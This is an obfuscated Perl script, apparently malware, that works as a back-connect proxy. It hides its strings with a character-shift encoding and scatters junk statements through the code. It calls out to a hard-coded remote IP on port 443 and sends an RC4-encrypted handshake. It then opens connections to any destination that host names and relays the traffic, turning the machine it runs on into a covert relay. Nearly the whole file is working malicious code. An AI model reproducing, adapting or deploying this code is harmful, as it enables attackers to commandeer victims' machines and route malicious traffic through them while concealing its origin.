#!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $pSrGvLTCF = join('',map{chr($_-7)}(59,60,53,56,59,61,53,56,58,55,53,57,56));
my $mVoQCzeWwrG = 443;

my $AuvpjZmKH = "\x00" x 50;

for (my $zNCUIKBCU = 0; $zNCUIKBCU < 50; $zNCUIKBCU++) { substr($AuvpjZmKH, $zNCUIKBCU, 1) = pack(join('',map{chr($_-7)}(74)), rand(255)); }

sub Rc4_crypt {
	 
	 my $fQhLfCdMmkxj = shift(@_);
0;
	 
	 my $fUfXeFyzWpBtO = shift(@_);
	 
	 my $rESprumTovEWEIj = shift(@_);
	 
	 my $ekiqmJJSQEeDpV = shift(@_);
	 
	 my $ZfpPGLPdVAMmG = shift(@_);
	 
	 my $XqVMYEXa = "\x00" x 256;
	 
	 my $pyDkZrCvwV = 0;
	
	 my $YTLgbfgmi = 0;
	
	 my $CinYzMpW = 0;
	
	 my $bQDmzAptLtquo = 0;
	
	 my $YLIkIQzSbn = 0;
	
	 my $RRovVZBVgY = 0;
	
	 my $lkkcJNfL = 0;
	
	 my $ATodgBvaLsPxGY = 0;
	
	 my $UGBtIkauRjtBfZ = 0;
	 
	 my $XpDWlkpdmntvQDB = $ZfpPGLPdVAMmG;
	 
	 my $GdWDimFioWZyM = 0;
	 
	 my $ahzdFXVbYOian = 0;
	 
	 my $EiaEtYQpkDezT = 0;
0;
	 
	 my $lruTDIej = 0;
	 
	 for (my $zNCUIKBCU = 0; $zNCUIKBCU <= 255; $zNCUIKBCU++) { substr($XqVMYEXa, $zNCUIKBCU, 1) = pack(join('',map{chr($_-7)}(74)), $zNCUIKBCU); }
	 
	 do {
		 
		 substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $GdWDimFioWZyM, 1) = pack(join('',map{chr($_-7)}(74)), (unpack(join('',map{chr($_-7)}(74)), substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $GdWDimFioWZyM, 1)) ^ unpack(join('',map{chr($_-7)}(74)), substr($$fQhLfCdMmkxj, $ahzdFXVbYOian, 1))));
		 
		 $GdWDimFioWZyM++;
		
		 $ahzdFXVbYOian++;
0;
		
		 $XpDWlkpdmntvQDB--;
		
		 if ($ahzdFXVbYOian == $fUfXeFyzWpBtO) {
			 
			 $ahzdFXVbYOian = 0;
		}
		 
	} while($XpDWlkpdmntvQDB > 0);
	
	
	 while(1) {
		 
		 if ($EiaEtYQpkDezT == 0) {
			 
			 $CinYzMpW = 0;

			 $bQDmzAptLtquo = $fUfXeFyzWpBtO;
		}
		 
		 if ($EiaEtYQpkDezT != 0) {
0;
			 
			 $EiaEtYQpkDezT = 0;

			 $CinYzMpW++;

			 if (--$bQDmzAptLtquo == 0) { next; }
0;
			 
		}
0;
		
		 $ATodgBvaLsPxGY = unpack(join('',map{chr($_-7)}(74)), substr($XqVMYEXa, $pyDkZrCvwV, 1));
		 
		 $lruTDIej = unpack(join('',map{chr($_-7)}(74)), substr($$fQhLfCdMmkxj, $CinYzMpW, 1));

		 $YTLgbfgmi += $lruTDIej;

		 $YTLgbfgmi = $YTLgbfgmi & 255;
0;

		 $YTLgbfgmi += $ATodgBvaLsPxGY;
0;

		 $YTLgbfgmi = $YTLgbfgmi & 255;

		 $lkkcJNfL = unpack(join('',map{chr($_-7)}(74)), substr($XqVMYEXa, $YTLgbfgmi, 1));
		 
		 substr($XqVMYEXa, $pyDkZrCvwV, 1) = pack(join('',map{chr($_-7)}(74)), $lkkcJNfL);
		 
		 substr($XqVMYEXa, $YTLgbfgmi, 1) = pack(join('',map{chr($_-7)}(74)), $ATodgBvaLsPxGY);
		 
		 $pyDkZrCvwV++;

		 $pyDkZrCvwV = $pyDkZrCvwV & 255;
0;
		 
		 if ($pyDkZrCvwV != 0) {
0;
			 
			 $EiaEtYQpkDezT = 1;
			 
			 next;
		}
0;
		
		 $YLIkIQzSbn = $ZfpPGLPdVAMmG;

		 $YTLgbfgmi = 0;

		 $pyDkZrCvwV = 0;

		 $CinYzMpW = 0;

		 $bQDmzAptLtquo = 0;
		 
		 while(1) {
			 
			 $CinYzMpW++;

			 $CinYzMpW = $CinYzMpW & 255;

			 $ATodgBvaLsPxGY = unpack(join('',map{chr($_-7)}(74)), substr($XqVMYEXa, $CinYzMpW, 1));
			 
			 $YTLgbfgmi += $ATodgBvaLsPxGY;

			 $YTLgbfgmi = $YTLgbfgmi & 255;
0;

			 $UGBtIkauRjtBfZ = unpack(join('',map{chr($_-7)}(74)), substr($XqVMYEXa, $YTLgbfgmi, 1));

			 substr($XqVMYEXa, $CinYzMpW, 1) = pack(join('',map{chr($_-7)}(74)), $UGBtIkauRjtBfZ);
		 
			 substr($XqVMYEXa, $YTLgbfgmi, 1) = pack(join('',map{chr($_-7)}(74)), $ATodgBvaLsPxGY);

			 $UGBtIkauRjtBfZ += $ATodgBvaLsPxGY;
	
			 $UGBtIkauRjtBfZ = $UGBtIkauRjtBfZ & 255;

			 $pyDkZrCvwV = unpack(join('',map{chr($_-7)}(74)), substr($XqVMYEXa, $UGBtIkauRjtBfZ, 1));
			 
			 $RRovVZBVgY = unpack(join('',map{chr($_-7)}(74)), substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $bQDmzAptLtquo, 1));

			 $RRovVZBVgY = $RRovVZBVgY ^ $pyDkZrCvwV;
			 
			 substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $bQDmzAptLtquo, 1) = pack(join('',map{chr($_-7)}(74)), $RRovVZBVgY);
			 
			 $bQDmzAptLtquo++;
			 
			 if (--$YLIkIQzSbn == 0)
			 {
				 last;
			 }
			 
		}
0;
		 
		 last;
	}
	
	 $GdWDimFioWZyM = 0;
	
	 $XpDWlkpdmntvQDB = $ZfpPGLPdVAMmG;
	
	 $ahzdFXVbYOian = 0;
	
	 do {
		 
		 substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $GdWDimFioWZyM, 1) = pack(join('',map{chr($_-7)}(74)), (unpack(join('',map{chr($_-7)}(74)), substr($$rESprumTovEWEIj, $ekiqmJJSQEeDpV + $GdWDimFioWZyM, 1)) ^ unpack(join('',map{chr($_-7)}(74)), substr($$fQhLfCdMmkxj, $ahzdFXVbYOian, 1))));
0;
		 
		 $GdWDimFioWZyM++;
		
		 $ahzdFXVbYOian++;
		
		 $XpDWlkpdmntvQDB--;
		
		 if ($ahzdFXVbYOian == $fUfXeFyzWpBtO) {
			 
			 $ahzdFXVbYOian = 0;
		}
		 
	} while($XpDWlkpdmntvQDB > 0);
	
}

sub synsend {
		
	 my $bnipmBPSlNBOl = shift(@_);
	 
	 my $vnMcrMVd = shift(@_);
	 
	 my $yIOpywJvF	= shift(@_);

	 open(my $zYontqHoQ, "<", '/dev/null');

	 flock($zYontqHoQ, LOCK_EX);
	 
	 # ===============================================
	 
	 send($bnipmBPSlNBOl, $vnMcrMVd, $yIOpywJvF);
	 
	 # ===============================================
	 
	 flock($zYontqHoQ, LOCK_UN);

	 close($zYontqHoQ);
0;
}

sub newConnection {
	
	my $FWFOaYCVlT = shift(@_);
	
	my $SPevDQFXpXWhEB = shift(@_);
	
	my $dUkUtOwYFL = shift(@_);
	
	my $bnipmBPSlNBOl = shift(@_);
	
	my $rESprumTovEWEIj = shift(@_);
	
    threads->create( sub {
		
		my $LjCnYaaEcX = pack(join('',map{chr($_-7)}(74)), $FWFOaYCVlT)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $BwYYGhJcJm = '';
		
		my $mVoQCzeWwrG = 0;
		
		my $_ret = 0;
		
		my $GYuqfhqIx = '';
		
		my $vnMcrMVd = '';
		
		setsockopt($bnipmBPSlNBOl, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($bnipmBPSlNBOl, F_SETFL, O_NONBLOCK);
		
		if (unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 7, 1)) == 3) {
			
			$BwYYGhJcJm = substr($rESprumTovEWEIj, 9, unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8, 1)));
			
			$mVoQCzeWwrG = unpack(join('',map{chr($_-7)}(90)), substr($rESprumTovEWEIj, 9 + unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8, 1)) + 1, 1).substr($rESprumTovEWEIj, 9 + unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 7, 1)) == 1) {
			
			$BwYYGhJcJm = sprintf("%d.%d.%d.%d", unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8 + 0, 1)), unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8 + 1, 1)), unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8 + 2, 1)), unpack(join('',map{chr($_-7)}(74)), substr($rESprumTovEWEIj, 8 + 3, 1)));
0;
			
			$mVoQCzeWwrG = unpack(join('',map{chr($_-7)}(90)), substr($rESprumTovEWEIj, 12 + 1, 1).substr($rESprumTovEWEIj, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $AwISYaPtQL = sockaddr_in($mVoQCzeWwrG, inet_aton($BwYYGhJcJm));
		
			 connect($bnipmBPSlNBOl, $AwISYaPtQL);
		 
			 vec(my $VnMwKehtBuSl = '', fileno($bnipmBPSlNBOl), 1) = 1;

			 unless (select(undef, $VnMwKehtBuSl, undef, 10)) { goto close_; }
		 
			 fcntl($bnipmBPSlNBOl, F_SETFL, 0);
		 
			 substr($LjCnYaaEcX, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$AuvpjZmKH, 50, \$LjCnYaaEcX, 0, 3);
0;
		 
		 Rc4_crypt(\$AuvpjZmKH, 50, \$LjCnYaaEcX, 3, 10);
		 
		 synsend($dUkUtOwYFL, $LjCnYaaEcX, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$AuvpjZmKH, 50, \$LjCnYaaEcX, 0, 3);
		 
		 if ($_ret == 1) {
0;
			 
			 while ($$SPevDQFXpXWhEB[$FWFOaYCVlT] == 1) {
				 
				 vec(my $nSBfnBpbilJQ = '', fileno($bnipmBPSlNBOl), 1) = 1;
0;
				 
				 unless (select($nSBfnBpbilJQ, undef, undef, 1)) { next; }
				 
				 $GYuqfhqIx = '';

				 recv($bnipmBPSlNBOl, $GYuqfhqIx, 65530, 0);
	 
				 unless ($GYuqfhqIx) { last; }
				 
				 $vnMcrMVd = pack(join('',map{chr($_-7)}(74)), $FWFOaYCVlT).pack(join('',map{chr($_-7)}(90)), length($GYuqfhqIx)).$GYuqfhqIx;
				 
				 Rc4_crypt(\$AuvpjZmKH, 50, \$vnMcrMVd, 0, 3);
		 
				 Rc4_crypt(\$AuvpjZmKH, 50, \$vnMcrMVd, 3, length($GYuqfhqIx));
				 
				 synsend($dUkUtOwYFL, $vnMcrMVd, MSG_NOSIGNAL);
				 
			}
		}
0;
		
		 $$SPevDQFXpXWhEB[$FWFOaYCVlT] = 0;
		 
		 close($bnipmBPSlNBOl);
		 
		 substr($LjCnYaaEcX, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$AuvpjZmKH, 50, \$LjCnYaaEcX, 0, 3);
		 
		 synsend($dUkUtOwYFL, substr($LjCnYaaEcX, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

	 my $pSrGvLTCF = shift(@_);
	 
	 my $mVoQCzeWwrG = shift(@_);
	 
	 my $vzhkKEpa = 0;
	 
	 my $aWCXIzQD = 0;
	 
	 my @srlWPWqQsbSy;
	 
	 my @SPevDQFXpXWhEB :shared;
	 
	 my $vnMcrMVd = "\x00" x 100;
	 
	 my $DSmShHHEniP = "\x00" x 3;
	 
	 my $exbDaBWbElcuhB = '';
	 
	 my $DHKqaCJsNxsN = 0;
	 
	 my $OcjhrNppaekmGU = 0;
	 
	 my $tsChvCmOC = 0;
	 
	 my $GYuqfhqIx = '';
	 
	 my $_ret = 0;
	 
	 my $GDkUbEKzDSehu = 0;
	 
	 my $xFZiZMTSrs = 0;
0;
	 
	 socket($srlWPWqQsbSy[0], PF_INET, SOCK_STREAM, getprotobyname(join('',map{chr($_-7)}(123,106,119))));
	 
	 setsockopt($srlWPWqQsbSy[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $AwISYaPtQL = sockaddr_in($$mVoQCzeWwrG, inet_aton($$pSrGvLTCF));
	 
	 unless(connect($srlWPWqQsbSy[0], $AwISYaPtQL)) { goto close0; }
	 
	 substr($vnMcrMVd, 0, 50) = $AuvpjZmKH;
	 
	 substr($vnMcrMVd, 50, 2) = "\xFF\xFF";
	 
	 substr($vnMcrMVd, 54, 11) = join('',map{chr($_-7)}(87,108,121,115,39,122,106,121,112,119,123,39,105,112,117,104,121));
	 
	 Rc4_crypt(\$AuvpjZmKH, 50, \$vnMcrMVd, 50, 50);
	 
	 send($srlWPWqQsbSy[0], $vnMcrMVd, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($aWCXIzQD != 4) {
			 
			 vec(my $nSBfnBpbilJQ = '', fileno($srlWPWqQsbSy[0]), 1) = 1;
0;
			 
			 my $jvyXXuotjUsicga = select($nSBfnBpbilJQ, undef, undef, 60);
			 
			 next if ($jvyXXuotjUsicga < 0);
			 
			 if ($jvyXXuotjUsicga == 0) {
0;
				 
				 last if (substr($DSmShHHEniP, 0, 3) ne "\x00\x00\x00");
0;
				 
				 last if ($vzhkKEpa != 0);
				 
				 last if ($aWCXIzQD != 0);
				 
				 Rc4_crypt(\$AuvpjZmKH, 50, \$DSmShHHEniP, 0, 3);
				 
				 synsend($srlWPWqQsbSy[0], $DSmShHHEniP, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($vzhkKEpa != 0 || $aWCXIzQD == 4) {
			 
			 if ($xFZiZMTSrs == 0) {
				 
				 if (substr($exbDaBWbElcuhB, 0, 1) eq "\xFF" && substr($exbDaBWbElcuhB, 1, 1) eq "\xFE") {
					 
					 $DHKqaCJsNxsN = 1;
					 
					 last;
					 
				}
				 
				 elsif ($GDkUbEKzDSehu < 200 && $GDkUbEKzDSehu > 0) {
				 
					 $SPevDQFXpXWhEB[$GDkUbEKzDSehu] = 0;
0;
				 
				}
0;
			
			}
			
			else {
				
				 $OcjhrNppaekmGU = $xFZiZMTSrs;
				
				 $OcjhrNppaekmGU = $OcjhrNppaekmGU - $vzhkKEpa;
				 
				 $GYuqfhqIx = '';
				 
				 recv($srlWPWqQsbSy[0], $GYuqfhqIx, $OcjhrNppaekmGU, 0);
				
				 unless ($GYuqfhqIx) { last; }
				 
				 $vzhkKEpa += length($GYuqfhqIx);
				 
				 $exbDaBWbElcuhB .= $GYuqfhqIx;
				 
				 if ($xFZiZMTSrs == $vzhkKEpa) {
					 
					 Rc4_crypt(\$AuvpjZmKH, 50, \$exbDaBWbElcuhB, 4, $vzhkKEpa);
					 
					 if (unpack(join('',map{chr($_-7)}(74)), substr($exbDaBWbElcuhB, 0, 1)) == 0) {
						 
						 socket($srlWPWqQsbSy[$GDkUbEKzDSehu], PF_INET, SOCK_STREAM, getprotobyname(join('',map{chr($_-7)}(123,106,119))));
						 
						 $SPevDQFXpXWhEB[$GDkUbEKzDSehu] = 1;
						 
						 newConnection($GDkUbEKzDSehu, \@SPevDQFXpXWhEB, $srlWPWqQsbSy[0], $srlWPWqQsbSy[$GDkUbEKzDSehu], $exbDaBWbElcuhB);
						 
					}
					
					 else {
						 
						 send($srlWPWqQsbSy[$GDkUbEKzDSehu], substr($exbDaBWbElcuhB, 4, $vzhkKEpa), MSG_NOSIGNAL);
0;
						 
					}
					 
					 $vzhkKEpa = 0;
				}
0;
				
			}
			 
			 $aWCXIzQD = 0;
			 
		}
		
		else {
			
			 if ($aWCXIzQD == 0) { $exbDaBWbElcuhB = ''; }
			
			 $tsChvCmOC = 4;
			
			 $tsChvCmOC = $tsChvCmOC - $aWCXIzQD;
			 
			 $GYuqfhqIx = '';
			 
			 recv($srlWPWqQsbSy[0], $GYuqfhqIx, $tsChvCmOC, 0);
			 
			 unless ($GYuqfhqIx) { last; }
			 
			 $aWCXIzQD += length($GYuqfhqIx);
			 
			 $exbDaBWbElcuhB .= $GYuqfhqIx;
			 
			 $DSmShHHEniP = "\x00" x 3;
			 
			 if ($aWCXIzQD == 4) {
				 
				 Rc4_crypt(\$AuvpjZmKH, 50, \$exbDaBWbElcuhB, 0, 4);
				 
				 $GDkUbEKzDSehu = unpack(join('',map{chr($_-7)}(74)), substr($exbDaBWbElcuhB, 1, 1));
				 
				 $xFZiZMTSrs = unpack(join('',map{chr($_-7)}(90)), substr($exbDaBWbElcuhB, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($srlWPWqQsbSy[0]);
	 
	 for (my $zNCUIKBCU = 0; $zNCUIKBCU < 200; $zNCUIKBCU++) { $SPevDQFXpXWhEB[$zNCUIKBCU] = 0; }
	 
	 sleep 10;
	 
	 if ($DHKqaCJsNxsN == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$pSrGvLTCF, \$mVoQCzeWwrG);
